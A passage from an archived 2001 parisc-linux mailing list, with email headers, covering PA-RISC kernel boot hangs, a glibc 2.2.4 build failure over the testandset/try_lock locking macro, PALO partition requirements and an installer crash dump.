box.  Something compiled, so I put the vmlinux on my 735/125 and tried to
boot it.  It went like this:

Hard booted.
palo ipl 0.94 sonny@foucault Wed Sep 19 22:52:46 MDT 2001
0/vmlinux32 3153422 bytes @ 0x48000
Partition Start(MB) End(MB) Id Type
1               1      16   f0 Palo
2              17    2046   83 ext2

Command line: 'HOME=/ TERM=LINUX console=tty root=/dev/sda2'

Kernel: partition 2 file /boot/vmlinux
ext2 block size 4096
ext2_mount(partition 2) returns 0
Opening /boot/vmlinux
ext2_open(/boot/vmlinux) = 3
ELF32 executable
Entry 001000d0 first 00100000 n 6
Segment 0 load 00100000 size 1714332 mediaptr 0x1000
Segment 1 load 002a4000 size 281768 mediaptr 0x1a4000
Segment 2 load 002ec000 size 376840 mediaptr 0x1e9000
Segment 3 load 0034c000 size 8192 mediaptr 0x246000
Segment 4 load 00350000 size 32768 mediaptr 0x248000
Segment 5 load 0038d684 size 88048 mediaptr 0x250684
branching to kernel entry point 0x001000d0

At this point, I can't even think where to begin looking for problems.
Any hints?

Thanks,
Sonny





From - Thu Nov 08 21:19:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] testandset
Date: Thu, 20 Sep 2001 21:12:31 -0400
Lines: 41
Approved: news@gmane.org
Message-ID: <20010920211231.C24352@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620494 25799 80.91.229.3 (22 Nov 2014 01:41:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:34 +0000 (UTC)
Cc: baldric-exec@baldric.uwo.ca
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 20 19:11:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1F3C0482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Sep 2001 19:11:25 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f8L1VVG27773;
	Thu, 20 Sep 2001 21:31:31 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f8L1CVC24614;
	Thu, 20 Sep 2001 21:12:31 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	parisc-linux@lists.parisc-linux.org, baldric-exec@baldric.uwo.ca
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant ()
Xref: news.gmane.org gmane.linux.ports.parisc:12228

parisc,

Trying to build glibc-2.2.4 on my 712/60

The build eventually halts because of the undefined "testandset"
---
/root/glibc_build/glibc-2.2.4/hppa-linux/obj/elf/ld.so.1: undefined reference to `testandset'
collect2: ld returned 1 exit status
make[4]: *** [/root/glibc_build/glibc-2.2.4/hppa-linux/obj/libio/tst_swscanf] Error 1
---

I've read all the docs for dpkg-dev, and yet the glibc debian stuff behaves
slightly different.

a) Unpack glibc 2.2.4, linux-threads, db1-add-on.
b) Patch to 2.2.4-1
c) Needed to comment hppa stuff back into 0list
d) Removed dl-fptr stuff from the hppa.dpatch (for now)
	= Added morally equivalent changes to locking macro in ./sysdeps/ia64/dl-fptr.c
	= testandset->try_lock
	= Though I'm scratching my head at hppa/dl-fptr.c?
	= Why is the ia64 stuff being touched anyway?
	
e) Packed it all back up as tar.bz2 (./debian rules seems to call for this)
f) Placed the tar.bz2's in the glibc-2.2.4 directory (so that they can be unpacked)
f) export LINUX_SOURCE=/usr/src/linux (no kernel-headers pakcage yet)
g) dpkg-buildpackage -uc -b -d (from within XXX/glibc-2.2.4)

glibc is almost as magical as the woman in the chair beside me watching 
me type this email.

Debian has a ./rules section ... women don't :}

Any thoughts hackers?
Would you like the full dpkg-buildpackage log?

c.





From - Thu Nov 08 21:19:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: thunder7@xs4all.nl
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: kernel 2.5.9-pa24 won't boot 735/125
Date: Fri, 21 Sep 2001 06:47:02 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <20010921064702.A4159@middle.of.nowhere>
References: <Pine.LNX.4.33.0109201328390.14604-100000@lefou>
Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620495 25802 80.91.229.3 (22 Nov 2014 01:41:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:35 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 20 22:47:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp3.xs4all.nl (smtp3.xs4all.nl [194.109.127.132])
	by dsl2.external.hp.com (Postfix) with ESMTP id 603BF482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Sep 2001 22:47:28 -0600 (MDT)
Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtp3.xs4all.nl (8.9.3/8.9.3) with ESMTP id GAA26117
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Sep 2001 06:47:21 +0200 (CEST)
Original-Received: (qmail 3749 invoked from network); 21 Sep 2001 04:47:06 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 21 Sep 2001 04:47:06 -0000
Original-Received: (qmail 5326 invoked by uid 500); 21 Sep 2001 04:47:02 -0000
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.33.0109201328390.14604-100000@lefou>
User-Agent: Mutt/1.3.22.1i
Xref: news.gmane.org gmane.linux.ports.parisc:12229

On Thu, Sep 20, 2001 at 01:33:09PM -0600, Sonny Cook wrote:
> Hi,
> I just tried my hand at cross compiling the parisc-linux kernel on my x86
> box.  Something compiled, so I put the vmlinux on my 735/125 and tried to
> boot it.  It went like this:
> 
> Hard booted.
> Command line: 'HOME=/ TERM=LINUX console=tty root=/dev/sda2'
> 
> Segment 5 load 0038d684 size 88048 mediaptr 0x250684
> branching to kernel entry point 0x001000d0
> 
> At this point, I can't even think where to begin looking for problems.
> Any hints?
> 
That is the point, where normally output on the serial console would
start appearing. Did you try both ports? Did you try 'console=ttyS0' in
the kernel command-line? Other than that, there are some references in
this list to a special 'debug-early' flag. Dig them out, and see if that
helps?

Good luck,
Jurriaan
-- 
The documentation is in Japanese.  Good luck.
	Rich 
GNU/Linux 2.4.9-ac10 SMP/ReiserFS 2x1402 bogomips load av: 0.53 0.14 0.04




From - Thu Nov 08 21:19:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?Andreas_H=E4rtel?= <andreas@malcolm.in-chemnitz.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 712/60 boots fine
Date: Fri, 21 Sep 2001 10:38:24 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <000401c14278$c79760e0$0350a8c0@genesis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620495 25810 80.91.229.3 (22 Nov 2014 01:41:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:35 +0000 (UTC)
To: "Parisc-Linux (E-Mail)" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 21 02:43:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from easy.in-chemnitz.de (www.in-chemnitz.de [213.187.65.136])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4E333482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Sep 2001 02:43:03 -0600 (MDT)
Original-Received: (from uucp@localhost)
	by easy.in-chemnitz.de (8.10.2/8.10.2/SuSE Linux 8.10.0-0.3) with UUCP id f8L8h1T04833
	for parisc-linux@lists.parisc-linux.org; Fri, 21 Sep 2001 10:43:01 +0200
Original-Received: from genesis (genesis [192.168.80.3]) by malcolm.in-chemnitz.de (8.7.6/8.7.3) with SMTP id KAA00532 for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Sep 2001 10:35:44 +0200
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Xref: news.gmane.org gmane.linux.ports.parisc:12230

Hi,

my 712 is running now. I've found my own mistake after many hours...

It is difficult to understand for a newbie, that PALO needs file system type
'F0' but this type is unknown by fdisk.
Or the 2. mistake, the partition where vmlinux is located must be lower or
equal 2 GByte.

Thanks

Andreas





From - Thu Nov 08 21:19:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712/60 boots fine
Date: Fri, 21 Sep 2001 10:14:07 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20010921101407.A24511@linuxcare.com>
References: <000401c14278$c79760e0$0350a8c0@genesis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620495 25820 80.91.229.3 (22 Nov 2014 01:41:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:35 +0000 (UTC)
Cc: "Parisc-Linux (E-Mail)" <parisc-linux@lists.parisc-linux.org>
To: =?iso-8859-1?Q?Andreas_H=E4rtel?= <andreas@malcolm.in-chemnitz.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 21 03:15:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id 586ED482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Sep 2001 03:15:07 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id DE4E4B00C; Fri, 21 Sep 2001 10:14:07 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <000401c14278$c79760e0$0350a8c0@genesis>; from andreas@malcolm.in-chemnitz.de on Fri, Sep 21, 2001 at 10:38:24AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:12231

On Fri, Sep 21, 2001 at 10:38:24AM +0200, Andreas Hrtel wrote:
> Hi,
> 
> my 712 is running now. I've found my own mistake after many hours...
> 
> It is difficult to understand for a newbie, that PALO needs file system type
> 'F0' but this type is unknown by fdisk.

Partition type F0, not a file system type.  Recent fdisk versions do
know F0 as "Linux/PA-RISC boot".

> Or the 2. mistake, the partition where vmlinux is located must be lower or
> equal 2 GByte.

Yes, that has caught me too in the past, I guess it should be
checked by palo or the installer.

Richard





From - Thu Nov 08 21:19:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Allen <ra@hp.is>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C360 install fails
Date: Fri, 21 Sep 2001 13:53:35 +0000
Lines: 44
Approved: news@gmane.org
Message-ID: <20010921135335.E11577@hp.is>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620495 25823 80.91.229.3 (22 Nov 2014 01:41:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:35 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 21 07:53:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from xo.hp.is (xo.hp.is [194.105.242.199])
	by dsl2.external.hp.com (Postfix) with ESMTP id DE6B0482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Sep 2001 07:53:36 -0600 (MDT)
Original-Received: (from ra@localhost)
	by xo.hp.is (8.11.6/RA-8.11.6) id f8LDrZM12790
	for parisc-linux@lists.parisc-linux.org; Fri, 21 Sep 2001 13:53:35 GMT
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-Subliminal-Message: Microsoft sucks! Update your system to Linux today!
Xref: news.gmane.org gmane.linux.ports.parisc:12232

Im using the 0.9.2 CD.  I have a C360 (512Meg RAM, 9 Gig hard drive) and
I removed the Graphics card from it and hooked it to a serial console.

The machine boots just fine into the installer.  I created that f0 partition,
a small /boot, a swap partition and the remaining disk as /

After that it makes me select a distro (I select sid as the documentation says)
then this hits:

         ++ Please Wait ++         
         |                                                            |         
         | Installing Drivers from                                    |         
         | /instmnt/debian/dists/sid/main/disks-hppa/current/64/drive |         
         | rs.tgz...                                                  |         
         |                                                            |         
                                                                                
         ioctl: LOOP_CLR_FD: No such device or address                          
    YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI                                            
PSW: 00000000000001001111111100001100                                           
r0-3     00000000 101fc000 101a5134 2fe06b60                                    
r4-7     00000000 00000000 10337010 10318684m Installation                      
r8-11    10318010 10318010 1030c010 1030c468                                    
r12-15   10337010 ffffffff 000000fd f0100000                                    
r16-19   10300580 f0000154 f000014c 0000000e                                    
r20-23   0000001f 000003e7 101a5c14 00000000                                    
r24-27   00000000 00000005 ffd05805 1028a010
r28-31   10335810 00000592 10300a80 101213f8
sr0-3    00000000 00000065 00000000 00000000
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 101fc2bc 101fc2c0
 IIR: 0f40001c    ISR: a607ffff  IOR: 41505805
 ORIG_R28: 00000000


Any hints ?
-- 
Rikki.         --  HP Technical Support, RHCE, RHCX, HP-UX Certified Admin.
               --  Solaris 7 Certified Systems and Network Administrator.
Bell Labs Unix --  Reach out and grep someone.
Those who do not understand Unix are condemned to reinvent it, poorly.




From - Thu Nov 08 21:19:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] testandset
Date: Fri, 21 Sep 2001 16:17:03 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <20010921161703.A27323@parcelfarce.linux.theplanet.co.uk>
References: <20010920211231.C24352@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620496 25825 80.91.229.3 (22 Nov 2014 01:41:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:36 +0000 (UTC)
To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	parisc-linux@lists.parisc-linux.org, baldric-exec@baldric.uwo.ca
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 21 09:17:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7EDD4482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Sep 2001 09:17:05 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15kS35-0008WN-00; Fri, 21 Sep 2001 16:17:03 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010920211231.C24352@megatonmonkey.net>; from carlos@megatonmonkey.net on Thu, Sep 20, 2001 at 09:12:31PM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12233

On Thu, Sep 20, 2001 at 09:12:31PM -0400, Carlos O'Donell Jr. wrote:
> I've read all the docs for dpkg-dev, and yet the glibc debian stuff behaves
> slightly different.
> 
> a) Unpack glibc 2.2.4, linux-threads, db1-add-on.
> b) Patch to 2.2.4-1
> c) Needed to comment hppa stuff back into 0list
> d) Removed dl-fptr stuff from the hppa.dpatch (for now)
> 	= Added morally equivalent changes to locking macro in ./sysdeps/ia64/dl-fptr.c
> 	= testandset->try_lock
> 	= Though I'm scratching my head at hppa/dl-fptr.c?
> 	= Why is the ia64 stuff being touched anyway?

because we're removing the testandset macro, replacing it with try_lock.

> e) Packed it all back up as tar.bz2 (./debian rules seems to call for this)

No, definitely not, I don't know why you think you need to do that.

> f) Placed the tar.bz2's in the glibc-2.2.4 directory (so that they can be unpacked)
> f) export LINUX_SOURCE=/usr/src/linux (no kernel-headers pakcage yet)
> g) dpkg-buildpackage -uc -b -d (from within XXX/glibc-2.2.4)

Here's what you ned to do:

dpkg-source -x *dsc
cd glibc-*
frob 0lists & hppa.dpatch as above
put a copy of the kernel includes in /usr/src/linux/include rather than setting
LINUX_SOURCE
dpkg-buildpackage -B -a -rfakeroot

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] testandset
Date: Fri, 21 Sep 2001 11:37:00 -0400
Lines: 66
Approved: news@gmane.org
Message-ID: <20010921113700.A25803@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620496 25827 80.91.229.3 (22 Nov 2014 01:41:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:36 +0000 (UTC)
Cc: baldric-exec@baldric.uwo.ca
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 21 09:35:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8CEDD482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Sep 2001 09:35:58 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f8LFucG32495;
	Fri, 21 Sep 2001 11:56:39 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f8LFb0q29574;
	Fri, 21 Sep 2001 11:37:00 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	parisc-linux@lists.parisc-linux.org, baldric-exec@baldric.uwo.ca
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (28% Sync Ratio [===.......])
Xref: news.gmane.org gmane.linux.ports.parisc:12234

I remember Wilcox saying:

"
Because we can't implement testandset atomically & efficiently on hppa.
The places which use testandset actually just need trylock.
"

Was the old testandset changed to try_lock in pt-machine.h for
hppa?

I see that they are the same asm statement (i.e. just an ldcw).

pt-machine.h:old:
testandset (int *spinlock)
{
  int ret;

  __asm__ __volatile__(
       "ldcw 0(%2),%0"
       : "=r"(ret), "=m"(*spinlock)
       : "r"(spinlock));

  return ret == 0;
}

pt-machine.h:new:
try_lock(__atomic_lock_t *spinlock)
{
  int ret;

  __asm__ __volatile__(
       "ldcw 0(%2),%0"
       : "=r"(ret), "=m"(*spinlock)
       : "r"(spinlock));

  return ret == 0;
}

Same...

I'm sitting scratching my head becaues the ./sysdeps/hppa/dl-fptr.c
is peppered with testandset, which used to be in pt-machine.h,
but is now called try_lock within pt-machine.h

Which is my current reason that glibc-2.2.4 failes to build
Because dl-fptr.c makes use of testandset, which is no longer 
in pt-machine.h.

Do I have something backwards?
I'm starting to think that I should take a look at dpkg-buildpackage,
and if I'm using it all properly.

---

Matthew,

Since I can't quite get to the point where zic barfs while 
walking the timezones... I'm not much help ;)


c.






From - Thu Nov 08 21:19:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] testandset
Date: Fri, 21 Sep 2001 16:42:39 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20010921164239.C27323@parcelfarce.linux.theplanet.co.uk>
References: <20010921113700.A25803@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620496 25838 80.91.229.3 (22 Nov 2014 01:41:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:36 +0000 (UTC)
To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	parisc-linux@lists.parisc-linux.org, baldric-exec@baldric.uwo.ca
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 21 09:42:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 94B8A482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Sep 2001 09:42:40 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15kSRr-0000bv-00; Fri, 21 Sep 2001 16:42:39 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010921113700.A25803@megatonmonkey.net>; from carlos@megatonmonkey.net on Fri, Sep 21, 2001 at 11:37:00AM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12235

On Fri, Sep 21, 2001 at 11:37:00AM -0400, Carlos O'Donell Jr. wrote:
> I'm sitting scratching my head becaues the ./sysdeps/hppa/dl-fptr.c
> is peppered with testandset, which used to be in pt-machine.h,
> but is now called try_lock within pt-machine.h

um, the hppa.dpatch definitely does patch this.  perhaps you were
overzealous with trimming the ia64 part of the patch?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] testandset
Date: Fri, 21 Sep 2001 11:58:40 -0400
Lines: 39
Approved: news@gmane.org
Message-ID: <20010921115840.C25803@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620497 25841 80.91.229.3 (22 Nov 2014 01:41:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 21 09:57:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id 98D13482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Sep 2001 09:57:31 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f8LGIJG32638
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Sep 2001 12:18:19 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f8LFweS29699
	for parisc-linux@lists.parisc-linux.org; Fri, 21 Sep 2001 11:58:40 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (28% Sync Ratio [===.......])
Xref: news.gmane.org gmane.linux.ports.parisc:12236

> 
> because we're removing the testandset macro, replacing it with try_lock.
> 

Noted.

> > e) Packed it all back up as tar.bz2 (./debian rules seems to call for this)
> 
> No, definitely not, I don't know why you think you need to do that.
> 

Thus my belief that I'm using the dpkg-dev tools wrong.
I read the docs late at night... maybe I didn't read them at all,
maybe I just dreamt that I did? ;)

> dpkg-source -x *dsc
> cd glibc-*
> frob 0lists & hppa.dpatch as above
> put a copy of the kernel includes in /usr/src/linux/include rather than setting
> LINUX_SOURCE
> dpkg-buildpackage -B -a -rfakeroot

I will give it another go (I've done a few compiles already).

My 712/60 is painfully slow :} 
Any recommendations for a faster machine?

We're almost to the point of setting up (Paul is looking at it)
pmake to build glibc. Hey, we've got a cluster for a reason.

Has anyone on this list used fai with hppa on this list?
http://www.informatik.uni-koeln.de/fai/.
(Hrm.. I'll post to beowulf@beowulf.org)

c.





From - Thu Nov 08 21:19:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712/60 boots fine
Date: Fri, 21 Sep 2001 10:03:08 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <200109211603.KAA01633@puffin.external.hp.com>
References: <andreas@malcolm.in-chemnitz.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620497 25844 80.91.229.3 (22 Nov 2014 01:41:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:37 +0000 (UTC)
Cc: "Parisc-Linux (E-Mail)" <parisc-linux@lists.parisc-linux.org>
To: =?iso-8859-1?Q?Andreas_H=E4rtel?= <andreas@malcolm.in-chemnitz.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 21 10:05:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8C60D482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 21 Sep 2001 10:05:48 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id KAA01633;
	Fri, 21 Sep 2001 10:03:08 -0600
In-Reply-To: Message from =?iso-8859-1?Q?Andreas_H=E4rtel?= <andreas@malcolm.in-chemnitz.de> 
   of "Fri, 21 Sep 2001 10:38:24 +0200." <000401c14278$c79760e0$0350a8c0@genesis> 
Xref: news.gmane.org gmane.linux.ports.parisc:12237

=?iso-8859-1?Q?Andreas_H=E4rtel?= wrote:
> It is difficult to understand for a newbie, that PALO needs file system type
> 'F0' but this type is unknown by fdisk.
> Or the 2. mistake, the partition where vmlinux is located must be lower or
> equal 2 GByte.

Both issues are documented in the palo documentation.
See "man palo" (which points to /usr/share/doc/palo/).
The install ISO's also had/have a README.INSTALL that tells one about
both issues as well.
(Kudos to Paul Bame - he did an excellent job with both)

Is there a more obvious place this should be documented?
(ie where did you look?)

> Thanks
> 
> Andreas

thanks,
grant




From - Thu Nov 08 21:19:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
